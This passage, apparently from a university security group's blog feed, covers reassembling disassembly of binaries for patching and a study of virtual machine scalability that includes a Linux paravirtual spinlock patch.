&lt;span class="mh"&gt;0x8000000&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;calll&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;A800000ff&lt;/span&gt;

&lt;span class="n"&gt;A800000ff&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;This principle is the foundation, what we called &lt;em&gt;symbolization&lt;/em&gt;,
that enable us to produce
reassemblable disassembly from COTS binaries.&lt;/p&gt;
&lt;p&gt;2) Indirect jmp/call&lt;/p&gt;
&lt;p&gt;The symbolization naturally makes indirect jmp/call instructions
reassemblable as well. Let's consider the below example.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;movl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="mh"&gt;0x80000ff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%eax&lt;/span&gt;
&lt;span class="o"&gt;calll    *%&lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;As far as we correctly symbolize an operand (e.g., a function pointer)
of &lt;code&gt;movl&lt;/code&gt; (source of code pointers), we can make the assembly
correctly recompilable.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mh"&gt;0x8000000&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;A80000ff&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;%eax&lt;/span&gt;
&lt;span class="o"&gt;0x8000011: calll    *%&lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;

&lt;span class="mh"&gt;0x80000ff&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;...&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, how can we identify all instructions that might introduce code
pointers?&lt;/p&gt;
&lt;p&gt;3) Operands&lt;/p&gt;
&lt;p&gt;To faithfully symbolize all code pointers, we have to interpret every
single operand of instructions; symbolize if it's a code pointer. To
do so, we rely on meta information (&lt;code&gt;X86_OP_IMM&lt;/code&gt; or &lt;code&gt;X86_OP_MEM&lt;/code&gt;) 
generated by &lt;a href="http://www.capstone-engine.org"&gt;capstone&lt;/a&gt;. For
constant (immediate) addresses or displacement, we could symbolize
them if they point to the code segment that we can extract
from its elf header.&lt;/p&gt;
&lt;p&gt;4) Data section&lt;/p&gt;
&lt;p&gt;To relocate data section (e.g., .data or .bss), we also have to symbolize
code pointers embedded in the data section (e.g., jump tables, global
variables initialized with a function pointer).&lt;/p&gt;
&lt;p&gt;We first scan 4-byte chunk from data section (32-bit binary)
and check if it points to the code section. But we immediately
realize that this is large source of false positives: incorrectly
symbolize the data values (non-code pointers). In some binaries,
in particular when having crypto-related static tables, this false
positive is critical as it changes the semantic of the binary.&lt;/p&gt;
&lt;p&gt;To reduce false positives, one can dynamically instrument to figure
out whether the data is used as a code pointer or just data.
However, we decide to statically check its validity with two
conditions: the chunk should point to the valid, well-aligned
instructions (prefix) in the code section,
and a group of code pointers should have a xref in its leading
code pointer (xref is a set of cross-referencing addresses that refer to the current
address).
To do so, we symbolize the address of every single &lt;em&gt;byte&lt;/em&gt; of data region
and symbolize four of such if it points to the code segment
&lt;em&gt;and&lt;/em&gt; there is an instruction referring to (xref is not empty).
It might become clear if you see the below example.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;.section&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;.data&lt;/span&gt;
&lt;span class="n"&gt;A80001000&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;.byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;
&lt;span class="n"&gt;A80001001&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;.byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x11&lt;/span&gt;
&lt;span class="n"&gt;A80001002&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A80000000&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;/*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;xref&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;A800000ee&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*/&lt;/span&gt;
&lt;span class="n"&gt;A80001006&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;.byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x22&lt;/span&gt;
&lt;span class="n"&gt;A80001007&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;.byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x22&lt;/span&gt;
&lt;span class="n"&gt;A80001008&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A80000011&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;/*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;xref&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;A800000ff&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*/&lt;/span&gt;
&lt;span class="n"&gt;A8000100c&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A80000022&lt;/span&gt;
&lt;span class="n"&gt;A80001010&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A80000033&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;For example, &lt;code&gt;A80001008&lt;/code&gt; might be a jump table and
&lt;code&gt;A80001002&lt;/code&gt; might be a global variable that was initialized with
a function pointer (&lt;code&gt;A80000000&lt;/code&gt;). The global variable was accessed by
an instruction at &lt;code&gt;0x800000ee&lt;/code&gt; (in its original binary) and the jump
table was access by &lt;code&gt;0x800000ff&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;5) Oddities&lt;/p&gt;
&lt;p&gt;There are few oddities that we couldn't easily imagine at the first
glance. For example, SSE instructions (xmm in x86) require 16-byte
alignment of its operands, a data pointer. So, whenever we meet xmm
instructions, we enforce its alignment on the data section.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;.section&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;.data&lt;/span&gt;
&lt;span class="n"&gt;.align&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="n"&gt;A80001000&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;.byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;xref&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;&amp;#39;A800000ff&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*/&lt;/span&gt;
&lt;span class="n"&gt;A80001001&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;.byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x11&lt;/span&gt;
&lt;span class="n"&gt;A80001001&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;.byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x22&lt;/span&gt;

&lt;span class="n"&gt;A800000ff&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;movsd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;A80001000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;%&lt;span class="n"&gt;xmm1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;Binary Patching&lt;/h2&gt;
&lt;p&gt;In fact, the goal of having this pipeline of producing relocatable,
reassemblable disassembly is to make the binary patching easy (e.g.,
no trempoline, no crafting to make a room for patches &amp;amp;c), and more
importantly human-readable (and handy analysis). For example,
we could easily detect well-known code gadgets (say, &lt;code&gt;malloc()&lt;/code&gt;) and
then symbolize them (adding a label &lt;code&gt;func_malloc:&lt;/code&gt; to the beginning of
the gadget). Then, that patch (e.g., cfi, safe stack &amp;amp;c) can
easily reuse such code or a library. Since the disassembly is
relocatable, inserting new code (patch) or transforming
do not require special cares to the disassembly, and open new
possibility of applying well-understood optimization techniques like
dead-code/data elimination or peephole optimization.&lt;/p&gt;</content><category term="Blog"></category><category term="Security"></category></entry><entry><title>Do Virtual Machines Really Scale?</title><link href="https://gts3.org/2015/cloud-scalability.html" rel="alternate"></link><published>2015-05-21T11:40:00+02:00</published><updated>2015-02-10T10:10:00+01:00</updated><author><name>Sanidhya Kashyap</name></author><id>tag:gts3.org,2015-05-21:/2015/cloud-scalability.html</id><summary type="html">&lt;p&gt;Scalability of Virtual Machines&lt;/p&gt;</summary><content type="html">&lt;h1&gt;The "Monster" VMs&lt;/h1&gt;
&lt;p&gt;Today, cloud service providers are provisioning VMs with high core
count coupled with lots of memory; for example, Microsoft Azure
provides a largest (aka baby monster) VM instance consisting of
32 vCPUs with 488 GBs of RAM. Similar configurations
are also available with other cloud service providers such as Amazon EC2
and Google Compute Engine (GCE). With the help of these instances,
the cloud service providers are trying to focus on applications that require
large amount of memory with lots of computation. Some examples include
big-data processing and in-memory databases (such as SAP HANA).
The provisioning of such large VMs has been made possible because of
the ease of availability of
cost-effective, large multicore machines and this trend will continue
as the number of cores increase per commodity CPUs (e.g., up to 1K
cores in SPARC M7).&lt;/p&gt;
&lt;p&gt;But, the questions that we would like to answer are the following:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What is the scalability characteristics of the large VM instances
  provided by the cloud service providers?&lt;/li&gt;
&lt;li&gt;Is the underlying virtualization technology really scalable enough
  to support a VM with hundreds of vCPUs in the future?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We try to answer the aforementioned questions in the following
sections by running a Linux kernel compile, an embarrassingly
parallel job that end users might expect to scale vertically, on
popular cloud services and then replicate the same experiment on
our 80-core machine to project the scalability trend.&lt;/p&gt;
&lt;h2&gt;1) Cloud Scalability&lt;/h2&gt;
&lt;p&gt;&lt;img src="/blog/vbench/clouds.svg" alt="Clouds" width="70%" /&gt;&lt;/p&gt;
&lt;p&gt;We executed the Linux kernel compile on three popular cloud service
providers - Amazon EC2, Google Compute Engine and Microsoft Azure.
We can observe that all the VMs are clearly scalable till 16 vCPUs
and there is a degradation after 16 vCPUS for both EC2 and GCE instances.
This occurs due to the usage of hyperthreads for the 32 vCPUs VMs.
We confirm this same behavior by running the same experiment in our
lab with a 16-core E5-2630 v3 machine  having similar configuration
used by these cloud service providers. Interestingly, Azure scales well beyond
16 cores, reflecting next to ideal scalability characteristics. We believe
that this happens because they use more physical cores than the logical
ones.&lt;/p&gt;
&lt;h2&gt;2) Monster VMs and their scalability characteristics&lt;/h2&gt;
&lt;p&gt;&lt;img src="/blog/vbench/160core.svg" alt="160core" width="70%" /&gt;&lt;/p&gt;
&lt;p&gt;We replicate the same experiment on our 80-core E7-8870 machine
by performing the experiment on two kinds of VMs - first one
is the highly optimized paravirtulized VM (PVM) and another one
is the hardware assisted VM (HVM). Theoretically, the performance
of PVM should be similar or better than HVM. But, this trend
tends to break when the vCPU count increases from 20 vCPUS. This
problem is counter intuitive and is only observed in case of vCPUs
being greater than 20 physical cores. We classify this problem as
&lt;strong&gt;sleepy lock anomaly&lt;/strong&gt;, which occurs due to the usage of
paravirtual interface in the ticket spinlock implementation that
has been introduced to solve the &lt;a href="http://www.betriebssysteme.org/Aktivitaeten/Treffen/2008-Garching/Programm/docs/Abstract_Friebel.pdf" title="How to Deal with Lock Holder Preemption Problem"&gt;Lock Holder Preemption problem&lt;/a&gt;
without the architectural support (i.e. &lt;a href="http://www.intel.com/Assets/en_US/PDF/manual/253669.pdf" title="Intel 64 and IA-32 Architectures Software Developer's Manual"&gt;Pause Loop Exiting&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Currently, paravirtual interface complements the PLE and helps in boosting
the performance when compared against HVM. During the lock acquisition,
a lock waiter first spins a lock for fix loop-iteration (fast path), and if
it fails to acquire the lock, it voluntarily yields to other vCPUS by issuing
a &lt;code&gt;halt&lt;/code&gt; instruction (slow path). When a lock is released, the next waiter
is woken up (by kicking the next waiting vCPU based on the ticket value).
However, the above figure illustrates the sudden performance drop which
occurs due to the sudden increase in &lt;code&gt;halt&lt;/code&gt; exits from 30th core onwards). This
happens due to the high contention among the vCPUs where they are contending
with each other. This drastically increases the time period of lock acquisition,
resulting in failure of the lock acquisition by most vCPUs and they start
trapping to the hypervisor at the same time. From this point, the communication
cost to wake up other vCPU starts dominating which results in performance
collapse.&lt;/p&gt;
&lt;h3&gt;Our Fix&lt;/h3&gt;
&lt;p&gt;To solve this issue for the virtualized instance, we design and implement
a variant of spinlock, called opportunistic ticket spinlock (&lt;code&gt;oticket&lt;/code&gt;)
that exploits the &lt;em&gt;distance&lt;/em&gt; between the lock holder and lock waiter as
the time to acquire a lock is roughly proportional to the waiters's
distance for the ticket spinlock implementation. We introduce two
new schemes to tackle the performance degradation:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Opportunistic spinning: Determining spin duration in the fast path
is dependent on the workload and hardware configuration. During the
lock phase, we dynamically determine the spin duration by relying on
the distance information
between the lock waiter and its holder. Nearer waiters opportunistically
spin for a longer duration, hoping to avoid the costly switching between
the guest OS and the hypervisor. Conversely, farther waiters spin for
shorter duration and they yield early to give more chance for a lock
holder to make progress.&lt;/li&gt;
&lt;li&gt;Opportunistic wake-up: In this scheme, during the unlocking phase,
next N waiters are woken up. This approach amortizes the vCPU wake-up
latency which is experienced in case of virtualized environment.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Following is the modified code snippet of the paravirtual spinlock
implementation in the Linux kernel version 4.0:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SPIN_THRESHOLD&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SPIN_MAX_THRESHOLD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1UL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;34&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TICKET_QUEUE_WAIT&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="n"&gt;define&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EAGER_WAKEUP_NCPU&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;5&lt;/span&gt;
&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__always_inline&lt;/span&gt;
&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ticket_distance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;__ticket_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ticket_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;TICKET_SLOWPATH_FLAG&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;\
&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TICKET_LOCK_INC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="mi"&gt;12&lt;/span&gt;
&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="k"&gt;static&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__always_inline&lt;/span&gt;
&lt;span class="mi"&gt;14&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arch_spin_lock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arch_spinlock_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;15&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;register&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;struct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;__raw_tickets&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TICKET_LOCK_INC&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="mi"&gt;17&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dist&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="mi"&gt;18&lt;/span&gt;
&lt;span class="mi"&gt;19&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="cm"&gt;/* default threshold set in Linux */&lt;/span&gt;
&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;u64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;threshold&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SPIN_THRESHOLD&lt;/span&gt;
&lt;span class="mi"&gt;21&lt;/span&gt;
&lt;span class="mi"&gt;22&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="cm"&gt;/* try locking */&lt;/span&gt;
&lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xadd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;tickets&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="mi"&gt;24&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;likely&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="mi"&gt;25&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="mi"&gt;26&lt;/span&gt;
&lt;span class="mi"&gt;27&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="cm"&gt;/* opportunistically determines spinning threshold */&lt;/span&gt;
&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;dist&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;__ticket_distance&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;tail&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
